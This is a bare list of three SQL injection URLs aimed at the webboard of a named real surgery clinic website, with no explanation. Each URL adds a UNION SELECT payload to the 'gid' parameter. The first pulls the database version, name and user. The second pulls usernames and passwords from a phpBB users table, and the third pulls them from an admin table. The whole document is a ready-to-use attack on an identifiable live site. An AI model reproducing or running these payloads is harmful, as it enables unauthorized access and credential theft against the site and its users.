http://www.bangkoksurgery.com/thai/webboard/question.php?gid=7312'+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7/*
http://www.bangkoksurgery.com/thai/webboard/question.php?gid=7312'+union+select+1,2,3,concat(username,0x3a,user_password),5,6,7+from+phpbb_users/*
http://www.bangkoksurgery.com/thai/webboard/question.php?gid=7312'+union+select+1,2,3,concat(0x3a,user,0x3a,pass),5,6,7+from+admin_db/*